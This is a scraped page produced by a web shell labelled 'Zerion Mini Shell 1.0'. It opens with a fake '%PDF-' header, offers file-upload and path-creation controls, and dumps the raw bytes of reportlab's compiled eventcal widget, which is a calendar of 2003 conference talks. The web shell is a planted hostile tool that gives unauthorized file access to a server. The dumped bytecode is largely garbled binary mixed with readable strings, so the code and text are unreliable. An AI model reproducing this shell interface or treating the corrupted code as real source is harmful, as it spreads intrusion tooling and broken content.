%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/reportlab/graphics/widgets/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/reportlab/graphics/widgets/__pycache__/eventcal.cpython-312.pyc

�

��d3��~�dZdZddlmZddlmZmZmZmZddl	m
Z
ddlmZGd�de�Z
d	�Zed
k(re�yy)z3.3.0zThis file is a
�)�colors)�Rect�Drawing�Group�String)�Label)�Widgetc�<�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�
EventCalendarc���d|_d|_d|_d|_d|_d|_g|_d|_d|_d|_	d|_
g|_d|_d|_
d|_g|_g|_y)Nri,��)�x�y�width�height�timeColWidth�trackRowHeight�data�
trackNames�	startTime�endTime�day�
_talksVisible�
_startTime�_endTime�_trackCount�
_colWidths�
_colLeftEdges)�selfs �E/usr/lib/python3/dist-packages/reportlab/graphics/widgets/eventcal.py�__init__zEventCalendar.__init__s�����������
���� ��� �����	������������� ��������
����������c��|j|j�|_t|j	��|_|j
�|jg|_|j�z|jd|j
zz}|gd|j
zz|_t|j
�D]-}|jj|jd|z��/y|jg|_|j|jz
|j
z}t|j
�D]H}|jj|�|jj|jd|z��Jy)z4Called at start of draw.  Sets various column widthsN����)�getRelevantTalksrr�len�getAllTracksr�computeStartAndEndTimesrrrrr�range�append)r �w�is   r!�computeSizezEventCalendar.computeSize*sJ��!�2�2�4�9�9�=����t�0�0�2�3����$�$�&�"�f�f�X������$��
�
�a�$�"2�"2�2�3�A� �c�Q��(8�(8�%8�9�D�O��4�+�+�,�
F���"�"�)�)�$�*<�*<�R�*@�1�*D�E�
F� $�0�0�1�D�O����d�/�/�/�4�3C�3C�C�A��4�+�+�,�
F�����&�&�q�)��"�"�)�)�$�*<�*<�R�*@�1�*D�E�
Fr#c��|jr|j|_nC|jD]4\}}}}}}|j�||_�||jks�.||_�6|jr|j|_y|jD]=\}}}}}}|j�||z|_�!||z|jkDs�4||z|_�?y)z(Work out first and last times to displayN)rrrrr)r �title�speaker�trackIdr�start�durations       r!r*z%EventCalendar.computeStartAndEndTimes>s����>�>�"�n�n�D�O�CG�CU�CU�
0�?����#�u�h��?�?�*�&+�D�O��t���.�*/���

0��<�<� �L�L�D�M�CG�CU�CU�
9�?����#�u�h��=�=�(�$)�H�$4�D�M��x�'�$�-�-�7�(-��(8��
�
9r#c��g}|jD]"\}}}}}}|��
||vs�|j|��$|j�|S)N)rr,�sort)r �tracksr1r2r3r�hoursr5s        r!r)zEventCalendar.getAllTracksXsQ����?C�y�y�	+�;�U�G�W�c�5�(��"��&�(��M�M�'�*�	+�	���
��
r#c��g}|D]s}|\}}}}}}	|dk7sJd��||jk(s�(|j�||	z|jk\s�G|j�||jks�c|j|��u|S)zScans for tracks actually usedrz2trackId must be None or 1,2,3... zero not allowed!)rrrr,)
r �talkList�used�talkr1r2r3rr9r5s
          r!r'zEventCalendar.getRelevantTalksas������	&�D�>B�;�U�G�W�c�5�(��a�<�U�!U�U�<��d�h�h���n�n�,�5�8�3C����2V��l�l�*�����0E��K�K��%�
	&��r#c��|j|jz
}||jz
|j|jz
z}|j|z||zz
}|S)z+Return y-value corresponding to times given)rrrrr)r �theTime�
axisHeight�proportionUprs     r!�	scaleTimezEventCalendar.scaleTimemsS���[�[�4�#6�#6�6�
� �4�?�?�2�t�}�}�t���7V�W���F�F�Z��:��#<�=���r#c�0�t�}|j||z�}|j|�}||z
}|�,|jd}	|j|jdz
}
n|j|}	|j|}
t�}|j
|�|j|	d|
zz|d|zz�d|_|
|_||_	d|_
t|	||
|tj��}|j|�|j|�|S)z!Return shapes for a specific talkr%r��?�c���	fillColor)rrBrrrr�setText�	setOrigin�	boxAnchorr�fontSizerr�cyan�add)
r rr5r3�text�g�y_bottom�y_top�y_heightrr�lab�rs
             r!�getTalkRectzEventCalendar.getTalkRectvs���G���>�>�)�h�"6�7�����y�)���8�#���?��"�"�1�%�A��J�J�����!3�3�E��"�"�7�+�A��O�O�G�,�E��g�����D���
�
�a�#�e�)�m�X�c�(�l�%:�;���
���	���
������H�e�X����E��	���a��	���c�
��r#c	�8�|j�t�}|jt|j|j
|jd|j|jz
tj���|j|jdz}|j
|jz|jz
}t|j�D]{}|j|dz}t||||jtj��}t|d|zz|d|zd��}|j|�|j|�||z}�}|jD]6}|\}	}
}}}
}|j!|
|||	dz|
z�}|j|��8|S)	NrrGr%rDzTrack %d�middle)�align�
)r/rrNrrrrrrr�cornsilkr+r�yellowrrrV)r rPrr�trk�widrU�sr=r1r2r3rr4r5s               r!�drawzEventCalendar.draw�sk�������G��	
���d�4�6�6�4�6�6�4�?�?�1�#5�t�{�{�T�EX�EX�7X�dj�ds�ds�t�u�
�F�F�T�_�_�Q�'�'���F�F�T�[�[� �4�#6�#6�6����)�)�*�	�C��/�/�#�a�%�(�C��Q��3�� 3� 3�v�}�}�M�A��q�3�s�7�{�A�z�C�'7�x�H�A�
�E�E�!�H�
�E�E�!�H��C��A�
	��&�&�	�D�>B�;�U�G�W�c�5�(�� � ���'�5�4�<�'�;Q�R�A�
�E�E�!�H�	��r#N)�__name__�
__module__�__qualname__r"r/r*r)r'rBrVr`�r#r!rrs,�� �2F�(9�4�
���Br#rc��tdd�}t�}d|_d|_gd�|_d|_|j
|�dD]?}|j|�}td|zd	�j|�td
|z��Ay)z3Make a conference event for day 1 of UP Python 2003i����2�)B)z1Keynote: Why design another programming language?zGuido van RossumNr%�"@��?)zSiena Web Service ArchitecturezMarc-Andre Lemburgr%r%�%@��?)zExtreme Programming in Pythonz
Chris Withers�r%rkrl)zPattern Experiences in C++zMark Radford�r%rkrl)z"What is the Type of std::toupper()zGabriel Dos Reis�r%rkrl)z6Linguistic Variables: Clear Thinking with Fuzzy Logic zWalter Banks�r%rkrl)�0lunch, short presentations, vendor presentations�Nr%�(@�@)zCORBA? Isn't that obsoletez
Duncan Grisbyr%r%�,@rl)zPython Design Patterns�Duncan Boothrmr%rurl)z*Inside Security Checks and Safe Exceptions�Brandon Brayrnr%rurl)zStudying at a Distance�CPanel Discussion, Panel to include Alan Lenton & Francis Glassborowror%rurl)zRCoding Standards - Given the ANSI C Standard why do I still need a coding Standard�
Randy Marquesrpr%rurl)zRESTful Pythonz
Hamish Lawsonr%r%�0@rl)z(Parsing made easier - a radical old ideaz
Andrew Koenigrmr%rzrl)zC++ & MultimethodszJulian Smithrnr%rzrl)z
C++ Threadingz
Kevlin Henneyror%rzrl)zThe Organisation Strikes BackzAlan Griffiths & Sarah Leesrpr%rzrl)�Birds of a Feather meetingrrNr%��1@rt)zKeynote: In the Spirit of CzGreg ColvinNrmrirj)z6The Infinite Filing Cabinet - object storage in PythonzJacob Hallenr%rmrkrl)z>Introduction to Python and Jython for C++ and Java Programmersz
Alex Martellirmrmrkrl)z#Template metaprogramming in HaskellzSimon Peyton Jonesrnrmrkrl)zQPlenty People Programming: C++ Programming in a Group, Workshop with a differencez
Nico Josuttisrormrkrl)z4Design and Implementation of the Boost Graph LibraryzJeremy Siekrprmrkrl)rqrrNrmrsrt)z5Building GUI Applications with PythonCard and PyCrustz	Andy Toddr%rmrurl)zIntegrating Python, C and C++rvrmrmrurl)z!Secrets and Pitfalls of Templatesz$Nicolai Josuttis & David Vandevoordernrmrurl)zBeing a Mentorrxrormrurl)zThe Embedded C Extensions to Cz
Willem Wakkerrprmrurl)zLightning Talksz
Paul Brianr%rmrzrl)z'Scripting Java Applications with JythonzAnthony Edenrmrmrzrl)z5Metaprogramming and the Boost Metaprogramming Library�David Abrahamsrnrmrzrl)z6A Common Vendor ABI for C++ -- GCC's why, what and notz!Nathan Sidwell & Gabriel Dos Reisrormrzrl)zThe Timing and Cost of ChoiceszHubert Matthewsrprmrzrl)r{rrNrmr|rt)z.Keynote: The Cost of C &amp; C++ CompatibilityzAndy KoenigNrnrirj)z4Prying Eyes: Generic Observer Implementations in C++�Andrei Alexandrescur%rmrkrl)z.The Roadmap to Generative Programming With C++zUlrich Eiseneckerrmrmrkrl)z=Design Patterns in C++ and C# for the Common Language Runtimerwrnrmrkrl)z@Extreme Hour (XH): (workshop) - Jutta Eckstein and Nico Josuttisz
Jutta Ecsteinrormrkrl)z.The Lambda Library : Unnamed Functions for C++zJaako Jarvirprmrkrl)rqrrNrnrsrt)zReflective MetaprogrammingzDaveed Vandevoorder%rnrurl)z7Advanced Template Issues and Solutions (double session)zHerb Sutterrmrnrurn)z/Concurrent Programming in Java (double session)zAngelika Langerrnrnrurn)z)What can MISRA-C (2nd Edition) do for us?zChris Hillsrornrurl)z(C++ Metaprogramming Concepts and ResultszWalter E Brownrprnrurl)z3Binding C++ to Python with the Boost Python Libraryr}r%rnrzrl)zHUsing Aspect Oriented Programming for Enterprise Application IntegrationzArno Schmidmeierrornrzrl)z
Defective C++zMarc Paternorprnrzrl)z.Speakers' Banquet & Birds of a Feather meetingrrNrnr|rt)z=Keynote: The Internet, Software and Computers - A Report CardzAlan LentonNrorirj)zEMulti-Platform Software Development; Lessons from the Boost librarieszBeman Dawesr%rprkrl)zThe Stability of the C++ ABIz
Steve Clamagermrprkrl)zJGeneric Build Support - A Pragmatic Approach to the Software Build Processryrnrprkrl)z0How to Handle Project Managers: a survival guidez	Barb Byrororprkrl)zlunch, ACCU AGMrrNrprsrt)zESauce: An OO recursive descent parser; its design and implementation.z
Jon Jaggerr%rprurl)zKGNIRTS ESAC REWOL -  Bringing the UNIX filters to the C++ iostream library.z
JC van Winkelrmrprurl)z Pattern Writing: Live and DirectzFrank Buschmann & Kevlin Henneyrnrprug@)z5The Future of Programming Languages - A Goldfish BowlzFrancis Glassborow and friendsrnrprurl)zSHoney, I Shrunk the Threads: Compile-time checked multithreaded transactions in C++r~r%rprzrl)z#Fun and Functionality with FunctorszLois Goldthwaitermrprzrl)z
Agile Enough?zAlan Griffithsrorprzrl)z+Conference Closure: A brief plenary sessionrrNrpr|rDr%)�pdfzeventcal.%s�wbzsaved eventcal.%sN)rrrrrrrN�asString�open�write�print)�d�cal�format�outs    r!�testr��s���	��C��A�
�/�C��C�E��C�E�`
�C�H�F�C�G��E�E�#�J��,���j�j�� ���]�V�
#�T�*�0�0��5�
�!�F�*�+�,r#�__main__N)�__version__�__doc__�
reportlab.libr�reportlab.graphics.shapesrrrr�$reportlab.graphics.charts.textlabelsr�reportlab.graphics.widgetbaser	rr�rardr#r!�<module>r�sN��
��	��!�B�B�6�0�_�F�_�Ht,�l�Z���F�r#

Zerion Mini Shell 1.0